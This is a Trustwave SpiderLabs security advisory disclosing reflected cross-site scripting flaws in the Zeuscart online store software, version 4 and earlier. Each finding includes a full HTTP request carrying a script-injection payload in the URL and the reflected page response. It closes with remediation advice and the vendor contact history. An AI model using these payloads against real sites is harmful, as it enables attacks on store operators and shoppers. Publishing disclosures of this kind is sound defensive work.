Trustwave SpiderLabs Security Advisory TWSL2016-019:
Multiple XSS Vulnerabilities in Zeuscart

Published: 09/20/2016
Version: 1.0

Vendor: Zeuscart (http://zeuscart.com/)
Product: Zeuscart
Version affected: V4 and prior versions

Product description:
Zeuscart is an online store management system. It is PHP-based, using a
MySQL database and HTML components.

Finding 1: Authenticated Reflected Cross Site Scripting Vulnerability
Credit: Michael Yuen of Trustwave SpiderLabs
CWE: CWE-79

In the admin control panel under Catalog->Products->View Products, 
the partially reflected URL appears to be unfiltered in the pagination element
in the response.

#Request
GET /zeuscart/admin/?do=manageproducts&>"><script>alert(14654321.00177)</script> HTTP/1.1
Host: localhost:88
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: 
Proxy-Connection: keep-alive
Referer: http://localhost:88/zeuscart/admin/?do=adminlogin&action=validatelogin
Cookie: PHPSESSID=8klbjmf6h8lml38qu0h24d0g81

#Response
<--SNIP-->

<div class="dataTables_paginate paging_bootstrap pagination">
		<ul> <li class="active"><a href="javascript:void(0);">1</a></li>  <li><a href="?do=manageproducts&>"><script>alert(14654321.00177)</script>&page=2" class='pagination'>2</a></li>   </ul></div>
		</div>
      
<--SNIP-->

Finding 2: Unauthenticated Reflected Cross Site Scripting Vulnerabilities
Credit: Michael Yuen of Trustwave SpiderLabs
CWE: CWE-79

Various cross-site scripting vulnerabilities exist in the Zeuscart
shopping interface which requires no authentication. The below examples
show different variations of a flaw in the pagination element where the
partial URL does not undergo any sort of filtering.

Finding 2.1:  Cross-Site Scripting. This is a reflected XSS vulnerability, 
detected in an alert that was an immediate response to the injection.

#Request 
GET /zeuscart/women.html?>"><script>alert(14656024.06687)</script> HTTP/1.1
Host: localhost:88
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: 
Proxy-Connection: keep-alive
X-Cenzic-Spider-Send-HeadRequest: true
Referer: http://localhost:88/zeuscart/
Cookie: PHPSESSID=q18julh4asm5rjok503u9dr0i6


#Response 
<--SNIP-->

</form></li></ul><div class="pagination">
			<ul><li><a>1</a></li><li><a href="?do=viewproducts&cat=women&>"><script>alert(14656024.06687)</script>&page=2" >2</a></li></ul>
			</div></div>
      
<--SNIP-->

Finding 2.2:  Cross-Site Scripting. This is a reflected XSS vulnerability, 
detected in an alert that was an immediate response to the injection.

#Request 
GET /zeuscart/grid/women.html?>"><script>alert(14656024.06777)</script> HTTP/1.1
Host: localhost:88
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: 
Proxy-Connection: keep-alive
X-Cenzic-Spider-Send-HeadRequest: true
Referer: http://localhost:88/zeuscart/women.html
Cookie: PHPSESSID=q18julh4asm5rjok503u9dr0i6


#Response 
<--SNIP-->

</div></form></div></div> </span><div class="pagination">
			<ul><li><a>1</a></li><li><a href="?do=viewproducts&cat=index.php/women&do=girdviewproducts&cat=women&>"><script>alert(14656024.06777)</script>&page=2" >2</a></li></ul>
			</div></div>
      
<--SNIP-->

Finding 2.3:  Cross-Site Scripting. This is a reflected XSS vulnerability, detected in an alert that was an immediate response to the injection.

#Request 
GET /zeuscart/index.php?do=search&action=grid&search=&>"><script>alert(14656024.08377)</script> HTTP/1.1
Host: localhost:88
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: 
Proxy-Connection: keep-alive
X-Cenzic-Spider-Send-HeadRequest: true
Referer: http://localhost:88/zeuscart/index.php?do=search&amp;action=grid&amp;search=bags
Cookie: PHPSESSID=q18julh4asm5rjok503u9dr0i6


#Response 
<--SNIP-->

</div><div class="pagination">
			<ul><li><a>1</a></li><li><a href="?do=search&action=grid&search=&>"><script>alert(14656024.08377)</script>&page=2" >2</a></li><li><a href="?do=search&action=grid&search=&>"><script>alert(14656024.08377)</script>&page=3" >3</a></li></ul>
			</div></div>
      
<--SNIP-->

Finding 2.4:  Cross-Site Scripting. This is a reflected XSS vulnerability, detected in an alert that was an immediate response to the injection.

#Request 
GET /zeuscart/index.php?do=search&search=&>"><script>alert(14655863.05557)</script> HTTP/1.1
Host: localhost:88
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: 
Proxy-Connection: keep-alive
X-Cenzic-Spider-Send-HeadRequest: true
Referer: http://localhost:88/zeuscart/
Cookie: PHPSESSID=95915r4a3d1dn9hqdhelf0nc21


#Response 
<--SNIP-->

</form></li> </ul><div class="pagination">
			<ul><li><a>1</a></li><li><a href="?do=search&search=&>"><script>alert(14655863.05557)</script>&page=2" >2</a></li><li><a href="?do=search&search=&>"><script>alert(14655863.05557)</script>&page=3" >3</a></li></ul>
			</div></div>
      
<--SNIP-->

Remediation Steps:
There is no official fix.  However, these vulnerabilities can be virtually patched with the use of a 
Web Application Firewall (WAF). Trustwave's WAF (https://www.trustwave.com/Services/Managed-Security/Managed-Web-Application-Firewall/) 
and ModSecurity (http://www.modsecurity.org/) can provide out-of-the-box protections against these threats.


Revision History:
06/15/2016 - Attempt to contact vendor
07/08/2016 - Attempt to contact vendor
07/27/2016 - Attempt to contact vendor
08/24/2016 - Attempt to contact vendor
09/01/2016 - Final Attempt to contact vendor
09/20/2016 - Advisory published

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